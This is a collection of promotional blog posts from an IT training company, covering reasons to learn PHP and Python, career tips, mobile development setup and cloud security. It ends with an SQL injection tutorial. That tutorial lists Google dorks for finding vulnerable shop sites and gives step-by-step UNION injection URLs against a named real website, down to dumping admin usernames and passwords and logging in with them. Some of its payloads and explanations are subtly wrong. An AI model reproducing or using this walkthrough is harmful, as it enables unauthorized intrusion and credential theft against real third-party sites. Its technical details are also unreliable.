Mobile Application Development Service and Training

Why you should learn PHP

PHP? Yeah, PHP which stands for hypertext processor is one of the widely used backend object oriented programing language, and despite its security controversies, PHP is still used on over two hundred million websites in the world.

Learning PHP is easy and just like any other programing language, mastery will rely on practice and determination. Regardless if you are coming from another programing language environment or having no experience in programing language, PHP is the perfect language to learn if you intend diving into and becoming familiar with the web development processes within a short time.

Popular websites such as Yahoo, Wikipedia, and Facebook were initially written in PHP, and many still run on PHP. Many open source Content Management Systems such as Joomla, Open Cart, Drupal including world most used and largest CMS community, WordPress are all running on PHP.

PHP supports a good number of database option such as MySQL and PostgreSQL to DB2, Access, Oracle, firebase and more. Building applications couldn’t be easier than doing it with a framework. There are lots of PHP frameworks such as Yii, Zend, Laravel, CakePHP, Symphony etc. These frameworks come with built-in functions, libraries and components that make building PHP applications fun, swift and easy.

PHP is an open source programming language with a large community of volunteered developers and support which makes it easier to get references and help. PHP usually runs on Linux servers which are very cost effective and widely used.

The fact that some known websites run on PHP including popular and widely used CMSs, there is always a demand for developers who can maintain, update and keep developing these websites.

WordPress for example, powers the largest number of content management websites, thereby creating job opportunities for PHP developers ranging from themes and plugins to snippets and widgets.

Freelancing is another great way to make a living out of PHP. There is and has all ways been a high demand for PHP developers in the freelance market.

Fiverr.com, Upwork.com and Freelance.com are few among the many websites where freelance PHP developers’ showcases and exchange their skills for profits. Themeforest and CodeCanyon are also few amongst the many marketplaces for PHP applications.

 

 

 

There lots of applications to build, and solutions to solve using PHP, few among them includes;

  1. Content Management System (CMS)
  2. Forum
  3. Social Media Script
  4. Polls
  5. User membership management systems
  6. Photo gallery
  7. Form validation
  8. Instagram filters
  9. Authentication
  10. Booking and ticketing software
  11. Live chat system
  12. Financial analysis

 

PHP works well with UNIX, LINUX and windows platform making it easy and the right choice for cross-platform applications. Also, there are a lot of free editors out there that you can use for your PHP programming.

Now you have seen some of the reasons and advantages of learning PHP. It is a language that is loved by developers and helps organisations to extend their creativity unlimitedly. Would you want to learn PHP today? Let us know your thought. #itiswhatwedo

5 New reasons for you to learn python

Believe it or not, Python has been there and is still going to be there. One of the most widely used high level and multi-style programing language. Python supports imperative programming, functional and objects oriented programming styles. The 28 years old programing language has standard libraries that offer lots of functionality that make it possible to implement complex applications extremely easy. This easy to learn programing language is responsible for most complex applications and it doesn’t matter if you are new to programming or a seasoned programmer, you must have definitely heard of Python. If you still don’t know why you should choose to learn Python, the following five reasons will convince you.

#1 Easy to learn and use

Python, which derived its name from a popular British comedy “Monty Python” is really fun to learn. Unlike other programming languages, Python is very easy and quick to learn not to mention that the language is extremely fast to use. Python code is readable and it requires less code to complete a basic task.

With little knowledge, a developer can actually learn a lot simply by observing the code. Needless to say, most developers learned Python in the process of learning how to code a python framework. It is the only language you can easily learn, write simple code and build complex applications at same time.

#2 Versatility

Python provide adequate flexibility and functionality for both new and experienced programmers, having a syntax specifically adapted for human readability. It apparently has native binding to C, very concise in the number of lines with no type declarations and very much less verbose as compared to other object-oriented programming languages. Learning Python could be a stepping stone as it set you up appropriately to adopt any other language or environment easily.

Python has an extensive standard library that contains built-in modules written in C and provides access to different system functionalities. In the programming world, support extremely crucial and the python is not only amongst the largest in the world but also one of the best in the world. Python is open source with lots of open source frameworks available for application testing and also backed by PyPI, a repository of over 85,000 Python modules and scripts available for immediate use. The modules execute pre-packaged functionalities that solve diverse challenges such as implementing computer version, working with databases, executing advanced data analytics and building RESTful web services.

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# 3 Everyone love Python

A significant number of tech giants such as IBM, Nokia, Google, Mozilla, Yahoo! and many others including NASA comprehensively rely on Python. The existence of these companies proves that there is always a search and demand for talents with knowledge of python. Small companies who intend to make their mark in the I.T. world will definitely require Python professionals as well.

# 4 Start-ups has no worries

Creating an outstanding product can be done using any programming language, but there are always considerations. Start-ups don’t have the robust resources most big players have and are therefore required to provide solutions to client’s challenges using available resources within and short time-frame. Now, if you are to build a complex application for the web, mobile or non-app based, what language does that easily for you? Python!

#5 Welcome to the web

Web programming with Python is a lot of fun for a developer. The Python architecture makes well thought out, well design and robust with big developer ecosystem with available debugging tools. Python frameworks include Pylons, Django, We2py, TurboGears, Grok, flask etc. with Django as the most popular framework preferred for Python web development.

Start learning Python today

To start learning Python today is easy as visiting Soutech Web Consult today is all you need to get started, enroll for a Python training class and start coding.

Soutech Career Tips

Career Tips: Stop Searching for job, let the jobs come to you

Nothing feels good like waking up in the morning and receiving an email or SMS from a reputable organisation that “you are needed for immediate employment”. Yeah, how about an increase on your desired or stated take-home pay? Believe it or not, it does happen, not only in the movies but in real life. Being good at what you are is not only about a rhetorical philosophy, it is more of doing it than thinking of doing it. There reason many people still search for a job today is because they aren’t doing what they needed to do or what is required to land them the job.

The first Step

There are ways by which you can make jobs look for you, but everything has a starting point. While formal education is a priority and basic need for any individual, the world record still has it that most successful didn’t just make their mark out of what formal education gave them. They research, analyse and act. You can just sit down and expect a job to look for you when you are still struggling to get one with your “Static CV”.

Talking about research, the world is vast evolving. We have witness automated machines replacing the traditional teller positions in the financial institutions. The world is going smart, you should if you want to keep up with the pace and do not forget to follow the trend. Informational technology has significantly changed the way we think, live and do things. One thing that can be applied to any activity, process or function is Technology. So, I would say adapting to Information technology as a fundamental aspect of your career is the first step to take.

Mobile Application development training @ Soutech Web Consult is the one training you will never want to miss. Call 08034121380 for more info and reservation.

What Can I do with Information Technology?

Like seriously, do people still ask this question in today’s world? There are tons of things you can do with I.T. and I would say a lot of them hasn’t even been invented yet. Heard of Mark Zurchaberg? He is termed one of the most influential people in the world. He did not study psychology, he learned how to code and put it in use, then it gives birth to Facebook, he nurtured it and it blooms.  Information technology is very complex which is why I am limiting this article to programming and applications development. Tactically, I would say programming remains the vital and integral part of I.T. For instance, what makes a computer function as an operating system (OS), is a programmed software with specific written instructions to accept user inputs and execute commands. Most programming languages were conceived to solve the need of automation and increase productivity.

Unmanned aircraft (drones), robotics, machine learning, mobile applications, web applications, agricultural analysis, gadgets, forecasting, process automation, etc. are among the things you can do with information technology.

Turning the table around

One good thing about information technology is that learning processes of some phases in I.T are somewhat affordable and easy to skilled. If you are into financials for instance, it will take you less than 2 weeks to learn how to use the Microsoft Excel effectively at Soutech Web Consult.

Soutech also offers the following I.T. pieces of training: CEH, Web Applications Development, Mobile App Development, Web Design, Digital Marketing, etc. These trainings are affordable and easy to grasp, but the question is; are you ready to act?

Soutech Career Tips

 how to change your resume

Although many available vacancies today require computer literacy, the fact remains that almost all organisation desire to go digital. Employers see your resume as someone who needs their impact, rather than a key player that will impact in their organisation, because you resume reads like any other individuals’. Changing the way employers look at your resume is simple, learn a skill, practice it, be good at it, prove yourselves and land you a job. Some high demanded positions include; I.T personnel, digital marketer, application tester, front-end developers, database administrators, Web designer, and administrator, to mention few with a lot of start-ups seeking for applications/products that could give them leads.

What Next?

How about moving from unemployed to a freelancer? Another good thing that comes with I.T skills is that it gives you the opportunity to choose who you work for. There are many freelance portals where you can showcase your skills, knowledge and services for hire. Websites, where you can also sell your developed scripts and software, are available.

So which one is you; act now and turn the table around, or keep doing something you have been doing over and over again, expecting a different result?

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Preparing Your Windows PC for Mobile Application Development

Introduction

Mobile Application development is the dream of most developers who intend to maintain the demand of real day to day business environment. Entrepreneurs and business owners today, have really develop some keen interest on Mobile apps. In-fact, if you clients and customers are not demanding for a mobile app and you still don’t have one yet for your business and services, then your marketing is totally off-balance.

Mobile Application development require some experience in few languages and skills such as HTML, CSS, Objective C, Swift, Java and most importantly JavaScript. Also, learning frameworks such as Angular and Ionic.  There are many mobile app development platforms and tools out there that is used for building cross –platform mobile application, some of which are proprietary, cloud-based, drag and drop, but I will not cover all in here. This article is focused on preparing your windows PC for building mobile application development using open source frameworks.

Do not miss the Soutech Mobile Applications Development Training coming up next week. For more information call 08034121380.

System Requirement

Except you are an adventurous developer like me who multi-task a windows machine to perform different enormous tasks, else an Intel core i3 machine running on 4gb ram will be just fine. An i5 or i7 running on 64bit OS with almost 2GHz processors’ speed an about 8gb of ram will be suitable to handle big projects.

Command

Most Mobile application development frameworks uses CLI (acronym for Command Line Interface), therefore using a command line tool is very important in mobile application development. The Windows OS is shipped with command lines tools such as the Windows Command Prompt and Windows PowerShell, but some frameworks require installing additional command line tools such as NodeJS Command or Git.  While Git might seem a little bit complicated to install, nodeJS command is very easy to install. To install NodeJS command simply log onto www.nodejs.org and download the current stable recommend version.

Editors

There are lots of editors and IDEs to choose from when preparing your windows pc for mobile application. While IDEs might seem to be heavy on windows machine, there are some lightweight editors that are really good and has recommendations by most seasoned developers. Below are few of them:

  • Visual Studio Code
  • Sublime Text
  • VIM
  • Atom
  • NotePad++

Emulation and build

Sometimes, nicely built mobile applications doesn’t work pretty well on mobile for some reasons. So it is a good practice to always test your app using a mobile phone. But wait! You can also make use of emulators. Android Studio will work fine for android while Smartface and MobiOne Studio are good for IOS. An emulator allows the developer to experience how the application and its features will function on an actual mobile device.

Conclusion

Mobile Application is becoming a norm requirement for most businesses and organisation. Almost every organisation out there wants to own a mobile app. The demand for mobile app development has rapidly increase over the years, which is why Soutech Web Consult has prepared an intensive Mobile App Development Training just for you.

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7 Best Programing Language to Learn Against 2018

The high increase demands of modern applications have made applications development and all-time seasoned career choice with lots of new applications, technologies and languages emerging in the competitive Information technology world. In this article, I have listed seven best languages that would wind you up and enhance your skills and knowledge as you choose to step into the world of applications development.

#1 JavaScript

If you want to become a successful application developer, then JavaScript should definitely be your best friend like it or. Most global I.T giants make use of JavaScript almost every day. It is a server-side language used to manipulate the browser, adding interactive features to applications.

JavaScript is the most commonly used programming language in the world with the latest version (ES2017) released in June 2017. Someone who is familiar with JavaScript can build things like mobile applications, games, human-machine interactions such as text to speech. With the current high demand for mobile and simplify application development, JavaScript is likely a language worth investing time and resource to learn.

Do not miss the Soutech 1o1 Website Design Training coming up next week. For more information call 08034121380.

#2 Python

Well, I would say if you really want to be limitless on your journey to becoming an application developer, then you should definitely embrace python. I must say, Python is not a language that limits you to becoming a web developer, it is a programing language you must have in mind when you think of a computer science or engineering career at large.

Python is used to write simple scripts such web crawlers and chat box to advance software such key loggers and other surveillance software. It has proven reliable for automated processes and can be used in networking management.   It can be used for robotics programming, creating GUI software, games and there some frameworks that use its language for application development such as Django, Flask, Pyramid etc. I think python should be a foundational language for application developers.

#3 Java

The first time I heard the name Java, what went through my mind was game. Yeah, and I guess I am not the only one who had thought such of Java. To some extent, I wasn’t actually wrong at all.

Java is a compiled and interpreted object oriented language which makes it significantly fast. it is written to run on diverse devices such as computers, mobile, smart cards, space vehicles, biometric devices etc. No doubt huge number of machines around the world and even in space runs on Java. It’s scalability, stability and maintainability have made it a demand for mostly large applications. Becoming a Java developer means you must learn the Java programing language and get familiar with the Java Serverlet APIs. Java is used for building robots, GUI based programs and a lot of automation for machines and devices. It also has some frameworks that can be used for web development and can be used for database connectivity as well.

#4 PHP

Everyone loves PHP.

PHP is not only the most popular server-side programming language in the world but also the language that powers most content management systems (CMS). WordPress, Joomla, OpenCart, Drupal, etc. all are written in PHP.  With PHP, one can build powerful web applications such as chat apps and chat bots, calendars, forum, booking, ticketing and image processing apps. The emergence of various PHP frameworks such as Yii, CakePHP, Symphony, Laravel, etc. make it easier to perform Object Oriented Programming and developing content management systems. The latest version of PHP which is PHP 7.1 was released in December 2016

#5 C++

C++ is a general-purpose object-oriented programming (OOP) language, developed by Bjarne Stroustrup, and designed for writing huge systems.  It can also be coded in a “C style” or “object-oriented style.” C++ can be used for developing computer applications such as 3D games, operating systems, graphics, web browsers, compilers and computation platforms.

#6 C#

C# has a common misconception that it allows building only .NET apps aimed at Microsoft platforms, but the language has an open source implementation in the form of the Mono-project, making it possible to build applications for systems ranging from Linux, OSX, Solaris to Android and even consoles like Xbox. Using the .NET framework, C# can do lot of things like building web applications and services including mobile applications too.

#7 Swift

Swift a new open source programing language created by Apple. It is used for building applications that run on iOS, Mac, Apple TV and Apple Watch. The language is more similar to Python but it is a user and developer friendly platform, designed for secure and easy coding.

Conclusion

If you are expecting me to take sides of which language you should choose, then I am sorry to disappoint you. First, you have to define your aim and purposes, comprising of what you intend to achieve by learning a language. Next, choose any language that best fits your definition and starts learning it already. Most developers will tell you it’s easy to learn, yeah it is definitely easy to learn a programming language while mastering one takes some time and practice, I think what is difficult is staying on learning a language. Most languages might not look interesting in the beginning, but as you progress it becomes more interesting.

Soutech Web Consult offers I.T training in different areas of interest. Visit Soutechventures.com/courses today.

The Four steps to Bolster cloud security-Cloud Computing-Soutech Nigeria

There has been a rapid growth in the use of cloud storage and the cloud technology is gradually moving from the ‘cloud-first’ strategy to the ‘cloud-only strategy. This is because the technology of cloud computing is in the year 2020 expected to have up to take up to about 70% of the enterprise software as well as the infrastructure.

The growth in the technology of public cloud has exposed organizations to trending security threats that normally cannot be minimized by employing endpoint security methodologies and technologies.

 

 

Security will be compromised because without applying the modern and cloud-native approach. The factors that affect the security include;

1.New Architectures

The architecture of cloud is entirely different from the legacy data centers which require some new approaches in the area of security. Traditional tools like penetration testing tools and network scanners are so reliable because the cloud is API-centric.

2. Increase of DevOps

When it comes to using public cloud, DevOps are on their own which end up not involving, not informing and not making central IT security teams aware. IT security teams require a new method to monitor the event of things because so many organizations are pushing are changing codes and productions everyday.

3. A More sophisticated landscape for threat

Hackers have kept the pace of in the deployment of similar tactics in order to automate attacks while DevOps teams have driven in the direction of making their code deployment process automated. This means that the surface of the attacks has been changed and there is not a path of traffic that can be monitored again. Security teams in order to ensure they have more visibility have resorted to deploying the use of new tools in all aspects of the organizations cloud applications.

The Four step program in bolstering cloud security

The issues surrounding the cloud security can be solved by the use of modern and cloud-native platforms which can make automation process very easy in order to provide a monitoring process that is continuous and further more analyse and remediate for cloud security compliance. This model has been able to offer a much better avenue for protection in the cloud far more than the traditional security platforms. Top cloud security experts have revealed that in order to achieve a continuous and automated cloud security and compliance, four key elements have to be addressed which are

  1. Real-time discovery in order to match the increasing pace of cloud changes: It is quite unusual for firms and organizations to possess millions of data points which require evaluation with the increasing cruelty surrounding the deployments in the cloud. A platform that can handle all the data in real time and isolating rapidly any form of security deviations and variations from good states is needed to the keep the functionality is cloud active
  2. Automated Action: One thing organizations must do is to automate monitor and remediate these processes to keep up. They need also to be flexible in the aspect of determining the way automated responses are made. They must also be able to inform the human administrators if there is a need for any other action.
  3. Deep insights to identify risks that may not be obvious: Communication can falter when the number of teams is large. You should make provision on your platform for teams to gain ownership of their security while also setting up security operations for other teams and corporate management in the bigger picture. This platform must be able to evaluate security information and details alongside the global customer base or across time and geography to put out a warning against potential issues before they occur.
  4. Comprehensive and properly detailed reports must be put together by teams about their daily security compliances and this should not necessarily be done during the yearly audit. You should be able to view the past and present state of your security and compliance stances by just a glance.

 

In conclusion, as organizations and firms make efforts to rely on public cloud in order to drive their daily business schemes and activities, they should also focus on the security risks and simplify the processes that are involved in the assurance of protection and compliance. Continuous security and compliance present us with new opportunities in order to maximize the value of the public cloud in the process of trying to minimize the risk.

It is very important to place our focus on the key characteristics such as automation, deep-insights and robust reporting and real-time discovery while evaluating potential cloud security platforms. The is a popular saying the IT world that the deployment of cloud technology changes everything but what doesn’t change is the importance of ensuring security and compliance.

 

To learn more about the security of the cloud environment as well as other security methodologies such as, vulnerability assessments, risk assessments and penetration testing, subscribe to our services at soutech ventures to learn CEH course in details.

Cybersecurity breaches are inevitable; What to do to stay safe- Information Security tips-SOUTECH Nigeria

Cybersecurity threats have become a cause of concern for many organizations especially with the daily reports of cyber intrusions where large volumes of data theft and intellectual property are involved. With the rise of new exploitation techniques and methods such as insider threats ransomwares, and advanced persistent threats the need for investing in cybersecurity cannot be over emphasized.

It has also be proven to be difficult to find rapt solutions to cyberattacks because of the dynamism in cloud computing, operating environment, supporting mobile, the iOt (internet of things), remote users, the quest for support the network devices that users bring to their offices and of course the question of how, where and what strategies to deploy in terms of specific security.

James Comey, a former director in the FBI described two kinds of big companies in the United States. He categorized them into “into those who have been hacked by the Chinese and those who have not been hacked by the Chinese.” Also in January 2015 at the world Economic Forum which was about a year later, John Chambers a former CEO Cisco confirmed that the people that have been hacked, do not even know they have been hacked.”

From all of this information, does it mean that cybersecurity breaches are inevitable? If a cybersecurity breach is inevitable then is prevention really possible and is trying to secure data and data systems worth the money?

Despite the fact that these remarks are quite discouraging, organizations still go ahead with storing data, financial data, intellectual property and their personal data on networked systems. In the midst of all these risks, there are the good sides to data storage and security which outweigh the bad sides.

Cybersecurity involves managing risks

There are things that should be put in place to secure information even with the fact that cybersecurity breaches cannot be avoided. In environments where risk is managed, there are ways and processes that can be put in place to ensure that data breaches are avoided which I have described in my previous article as penetration testing, vulnerability assessments, and IT audits. The premise surrounding the management of risk, is that the risk scenario cannot be completely eliminated.

 

 

If these uncertainties can be erased, then the risk can totally be erased as well. There are two basic security measures that can be put in place if the risk of a cybersecurity breach does not amount zero. Now the first strategy is to cut down the probability of the occurrence of a cybersecurity breach and the second involves cutting down on the impact which the damage that occurs when a cybersecurity risk is discovered. In order to manage any type of cybersecurity risks, these two strategies and measures are very appropriate in managing them. Do not forget that the general way to approach cybersecurity is very transparent and easy to understand.

The first things to identify in the operation of business is the assets which means that information assets which include raw data, people, processes and technology have to be protected.

The second thing you must note is that the purpose of a risk assessment is to reveal risks scenarios which could lead to damage or loss of data through unauthorized and unexpected disclosures, modifications and loss of confidentiality of data assets. Risks components are very few. The typical scenario of a cybersecurity intrusion is when a threat leverages on a vulnerability to damage information asset security. In this example, the components of risk exist when there is vulnerability and an exploit takes advantage of that vulnerability, and also a threat actor uses that exploit to damage the information assets’ security. Therefore, the only things that can be controlled by the network security manager are the presence of vulnerabilities on the network. The next step that follows is making an attempt to identify the risk and eliminating it.

Typically, once a risk has been identified, it is known to be eliminated and when a vulnerability is eliminated, all the threat scenarios where the vulnerability is exploited is reduced to zero.

Cybersecurity Risk Prioritization

Risk management at its core is a decision-support tool and once all the necessary cybersecurity scenarios have been unraveled, the job of the decision-support tool is to prioritize the order and manner in which the identified risks can be mitigated or controlled.

If there are insufficient resources that are capable of handling all the identified vulnerabilities, then the activity of risk prioritization with an aim to remediate and mitigate it can be seen to be important. Prioritization is also very valuable even in the midst of sufficient resources in order to remediate the existing vulnerabilities.

Outcome vs Impact

The prioritization of vulnerabilities is based on its potential impact on the organization if the risk scenarios exploiting that vulnerability are all realized. It is important to try to understand what the impact is if the potential impact is the prioritization factor. Whenever a vulnerability is being exploited, there is an unwanted outcome which involves an unwanted disclosure of data, unauthorized modification or the loss of access to the information asset that is being affected by the vulnerability is being exploitation. The result if an unwanted outcome is referred to as impact.

In the HIPAA privacy or security rules, if the health records are stolen, the outcome is that information will be disclosed, but the impact to the organizations is that there could be there will be a mandatory breach in the costs of notification and the potential for fines and civil penalties could run into millions of naira and dollars.

The prioritization of vulnerability mitigation by its potential impact can be done in different ways and one of them is in the use of a prioritization tool called Common vulnerability scoring System (CVSS), which will provide a framework for which one can understand the characteristics and impacts of vulnerabilities in information technology.

When CVSS is used, there is a likelihood that when an organization discovers that its risk has been prioritized to low severity or medium severity, they will choose not to remediate it. But in the case of organizations with many systems including mission-critical systems, such organizations need to come to an understanding that the potential impact to that asset and organizations is not totally and solely dependent on the ratings of the CVSS, but it could be higher and the organization needs to remediate the vulnerability.

 

In conclusion, if it is true that cybersecurity breaches cannot be avoided then all is not lost. The only sad thing is it will not be possible to completely eliminate the uncertainty that there will be data breaches.

To learn more about vulnerability assessments, risk assessments and penetration testing, subscribe to our services at soutech ventures to learn CEH course in details.

 

The need for an Automated Approach to Cloud Security and Compliance- Challanges in Cloud Computing-Soutech NigeriaEducation

Regardless of whether you are in charge of general IT, IT security, DevOps or administrative compliance, odds are open cloud services are a consistently developing piece of your portfolio. This can be extraordinary for the business, empowering lower costs, more prominent dexterity and speedier speed to advertise. Be that as it may, it can exhibit new and serious difficulties in guaranteeing security and compliance.

The public cloud is a radical new world. In the event that you think customary techniques for securing the data center or firewalling the border will keep your information and applications secured, you might be in for a reality check. The main issue with taking an approach in the form of a legacy approach is that they were not intended for the cloud period, which implies they don’t support or make use of the API-driven infrastructure of the public cloud.

 

 

 

Whatever your part is in your organization, you can infer huge advantages by grasping a present day, cloud-local model that utilizes equipment that are built on purpose to consistently and consequently screen and oversee security and compliance along the API control plane.

If you are in charge of IT, security or compliance, you can diminish costs, enhance security and affirm more prominent control over cloud technology and shadow IT. In the event that you are in DevOps, you can move rapidly without sitting tight for endorsements from security—while disposing of the potential for the calamity that is continually approaching if appropriate security and consistence balanced governance are not being set up.

Given the proper cloud security platform, the general organization can make of use automation to decrease risk and expel the human components from imperative procedures. Automation enables you to accomplish and achieve a constant visibility scheme over your cloud deployments, empowering reliable duplication among use conditions, for example, improvement, organizing and creation.

Automation, Security, Compliance and the cloud

The adoption of cloud technology moves too rapidly and is liable to excessively quick changes for organizations and firms to depend on manual assets. The major test, be that as it may, is that most organizations still utilize legacy devices, innovations and methodologies to oversee cloud security and compliance.

Luckily, new cloud-local arrangements are presently accessible, conveying an agent-less platform intended particularly for recent modern clouds.

 

These arrangements use the cloud’s API engineering architecture to determine gigantic adaptability in scaling and overseeing cloud security and compliance.

 

 

 

 

The steps below therefore will depict how an advanced automated approach to deal with persistent cloud security and compliance works. It depends on the Evident Security Platform from driving cloud security firm Evident.

Step 1

Close Observation: The environment revolving around cloud computing is evolving persistently. These progressions can be ordinary, routine exercises of your DevOps or IT groups; they can likewise be crafted by individuals who might do mischief to your business. As changes are made—over all cloud platforms, services and regions—the cloud security platform screens the designs of the cloud infrastructure to guarantee that it holds fast to security and compliance best practices.

Step 2

Assessment: The security platform safely gathers information about the services in your cloud and constantly performs checks against a progression of foreordained best security standards. It additionally performs checks against any predefined custom marks. These checks decide, on a persistent premise, if there are any conceivably exploitable vulnerabilities.

Step 3

In-depth Analysis: The platform at that point plays out an investigation to decide if the misconfigurations and exposures are prioritized and quantified into high, medium or low risk levels.

Step 4

Automated Remediation: The result of the subsequent analysis being performed is shown on a dashboard and can be sent to incorporated frameworks for auto-remediation work processes to set in.

Step 5

Robust Reporting: Comprehensive and detailed reports are made accessible so your groups can see data involving the risk, as well as client attribution and infected assets.

Step 6

Correction: The groups would then be able to utilize simple-to-follow remediation methodologies to recover the infrastructure to a safe state.

Conclusion

Public cloud is not going to be phased out any time soon but before the decade’s over, people in general cloud administrations/services market will surpass $230 billion, as predicted by Forrester Research. As cloud turns out to be more key to the accomplishment of your organization, it is key that you concentrate on security and compliance, regardless of whether your part is in IT, security, DevOps or corporate administration and compliance.
By grasping a constant security model, your organization will have the capacity to process many procedures that would overpower your groups and frameworks on the premise that they must be done manually. It not just accommodates upgraded security and compliance assurances, it likewise calms the weight on your staff, enhances security for DevOPs and different groups, and brings down the cost and danger of cloud security and compliance.

Cloud computing and its associated technologies is a very broad field. But I have in a few of my writeups been able to discuss the few trends and challenges that is being faced in the cloud environment. To learn more about vulnerability assessments, risk assessments and penetration testing, subscribe to our services at Soutech Ventures to learn CEH course in details.

Tutorial on SQL Injection: SOUTECH Ventures

What is SQL Injection?

SQL Injection often referred to as seqel-i or structured query language is a malicious attempt on a website whereby an attacker injects an SQL command (payload) into an SQL statement which controls the database of a web application. The web application can also be referred to as Relational Database Management System (RDBMS) and it has a web input field.

SQL injection vulnerabilities have been known to damage websites or web apps that use SQL-based database. SQLi’s have been known over time to be one of the lethal means of attacking websites whereby an attacker attempts to exploit a web application. In order to bypass the authentication and authorization mechanisms in a web application, the attacker will attempt to gain unauthorized access to the web app using SQLi. The attacker or malicious user after gaining access into the web application, can delete, modify or even update the database, make changes to the columns or rows depending on what their intentions are at the time. When this is done, the data integrity of the SQL-based database will be compromised.

How Does SQL Injection work?

In order to exploit the web application, all the attacker has to do is to find an input field that is embedded in the SQL query of the database. A vulnerable website requires a direct user input in the SQL statement in order for an SQLi attack to take place. When this is done, the attacker then injects the payload which is included in the SQL query which in turn is used to launch the attack on the web server.

Before you launch any attack, you have to check the server to see how it responds to user inputs for authentication mechanism. Use the following queries to verify the users authentication mechanism:

 

 

 

 

// define POST variables
$Uname = $_POST[‘name’];
 $Upassword = $_POST[‘password’];

// sql query vulnerable to SQLi
$sql = “SELECT id from users where username = ‘Uname’ && password = ‘Upassword’ “;

// execute the sql query by database
database.execute($sql);

The codes above are vulnerable to SQL injection and the attacker can submit the malicious payload in the SQL query gain access to the web application by altering the SQL statement that is being executed.

One example of an SQL injection payload that can be used to set a password field is

Password’ OR ‘1’=’1’

where this condition is always true, the result of this query being run against the web server is

SELECT id FROM users WHERE username=’username’ AND password=’password’ OR 1=1’

What an attacker can do with SQL?

SQL is a programming language that is used to work with the relational database management systems. Like I said earlier, SQL’s can be used to delete, modify or update databases or columns, rows, tables within the RDBMS databases. SQL is one powerful language that can be used to attack databases and can be used by attackers to exploit databases of web applications, taking total charge of the application without the knowledge of the administrator.

Having said all this, let us see what an attacker can use SQLi to do.

  • It can be used to bypass authentication mechanisms or to impersonate a specific user
  • It can be used by an attacker to delete records from a database and even if an authorized backup plan is used, deleted data can affect the availability of an application until the database can be restored.
  • SQL’s can be used to select data based on a set of input queries which gives outputs of the query. It could allow the disclosure of data residing on the web server.
  • SQL’s can be used to alter or modify data in the database. And as you know when data is altered, the integrity is lost and issues regarding repudiation can come up such as voiding transactions, altering balances and other records.
  • The database of web servers are configured to allow the arbitrary execution of operating system commands. When are conditions are present, a malicious user can use SQLi to bypass firewalls and penetrate the internal network.

Using SQL Injection to Hack a Website

Now let us see how we can use SQL injection to hack websites

Step 1

The first thing is to search google for “google dorks”. I have gotten the following results from my search. You can as well search for yours.

about.php?cartID=
accinfo.php?cartId=
acclogin.php?cartID=
add.php?bookid=
add_cart.php?num=
addcart.php?
addItem.php
add-to-cart.php?ID=
addToCart.php?idProduct=
addtomylist.php?ProdId=
adminEditProductFields.php?intProdID=
advSearch_h.php?idCategory=
affiliate.php?ID=
affiliate-agreement.cfm?storeid=
affiliates.php?id=
ancillary.php?ID=
archive.php?id=
article.php?id=
phpx?PageID
basket.php?id=
Book.php?bookID=
book_list.php?bookid=
book_view.php?bookid=
BookDetails.php?ID=
browse.php?catid=
browse_item_details.php
Browse_Item_Details.php?Store_Id=
buy.php?
buy.php?bookid=
bycategory.php?id=
cardinfo.php?card=
cart.php?action=
cart.php?cart_id=
cart.php?id=
cart_additem.php?id=
cart_validate.php?id=
cartadd.php?id=
cat.php?iCat=
catalog.php
catalog.php?CatalogID=
catalog_item.php?ID=
catalog_main.php?catid=
category.php
category.php?catid=
category_list.php?id=
categorydisplay.php?catid=
checkout.php?cartid=
checkout.php?UserID=
checkout_confirmed.php?order_id=
checkout1.php?cartid=
comersus_listCategoriesAndProducts.php?idCategory=
comersus_optEmailToFriendForm.php?idProduct=

This is just a few of the basic dorks that are available but you can also create your own dorks in order to find websites. These dorks can help you find out sites that are vulnerable to SQL injections in order to bypass the authentication.

STEP 2

Search google for SQL-vulnerable websites. Next thing is to open one of them to check if they can be vulnerable to SQLi’s.

I will use this website as an example.

http://www.tadspec.com/index.php?id=44

Now after you choose your link, make sure it is different from mine because there are many available sites.

Please note, that this practical session is just for educational purposes and therefore I do not in any way take responsibility for your actions.

Now lets check if the site I have chosen is vulnerable to SQL or not. This can be done by putting this code behind the URL

.php?id=44   (You can copy and paste it with an apostrophe (‘) at the end of that code.

If after you do this and you get a result like this;

  • “You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ”’ at line 1.”

Then bingo, then site is vulnerable an SQL injection attack. Therefore, we can go ahead to the next step.

STEP 3

In this step, we have to check the number of columns that are available on the database of the website. We can manually input these numbers, so we can check the columns;

http://www.tadspec.com/index.php?id=44 order by 32

 

Please note that the number “32” is an arbitrary number and it varies depending on the number of columns you may find. So, you have to make an arbitrary attempt to check the columns that are available on the database.

After putting “32”, this is what you get

Unknown column ‘32’ in ‘order clause’

And if we put the link below in URL,

http://www.tadspec.com/index.php?id=43 order by 31

This will redirect us to the website’s homepage which means that it is working correctly.

It therefore means that the number of the columns available on the database of this website is 31.

STEP 4

In this fourth step, we’re going to be determining the version of the database.

We will use the following query;

http://www.tadspec.com/index.php?id= null union all select 1,2,3,4,5,6,7,8,9,10,11-

When you run this query, you will get a number that shows boldly on your screen. Mine is 6. So, in the place of 6 in your URL, replace t @@version. This will give you the version that would give you the version of the SQL database that the website uses.

So, you have something like

http://www.tadspec.com/index.php?id= null union all select 1,2,3,4,5,@@version,7,8,9,10,11-

STEP 5

We will use the next query ‘group_concat(table_name)’ on the place of column#6 and some other string in the last part of the code.

So, its going to be like this;

http://www.tadspec.com/index.php?id=null union all select 1,2,3,4,5,group_concat(table_name),7,8,9,10,11-from information_schema.tables where table_schema=database()-

Now the result of this query will be the names of the database tables. You can just copy them if you desire to use them for further analysis.

STEP 6

We will now try to find the column names in the database by changing the table to column in the fields.

http://www.tadspec.com/index.php?id= null union all select 1,2,3,4,5,group_concat(table_name),7,8,9,10,11-from information_schema.columns where table_schema=database()-

When you enter this query, the result you will get will be the names of the different tables that are present on this website.

STEP 7

Recall that in the previous step, we were able to get the names of the columns in the database so the next thing is to search for the column called “credential” because it can be used to retrieve sensitive data such as usernames and passwords. These are the columns that give access to the database.

Use this query to navigate there;

http://www.tadspec.com/index.php?id= null union all select 1,2,3,4,5,group_concat(username,0x3a,password),7,8,9,10,11-from admin-

The group_concat() method was used to pass the username and then the 0x3a which is used for space and then the other column name. We removed the query and wrote admin table at the end of it and it means we are using the column names from the admin table.

If you have succeeded in this, then Congratulations you successfully performed an SQL injection.
Go ahead search the website login page and input those credentials in the fields present.

Please note that this tutorial is strictly for Educational purposes. We at SOUTECH are not responsible for your actions.

I have withheld some of the diagrams and pictorial explanations and if you must learn about them, enroll to our CEH course to learn comprehensively about this subject topic and more. Call us today.

 

Soutech-Web Consult

Key Languages Web Developers Should Learn – Soutech Web Consult

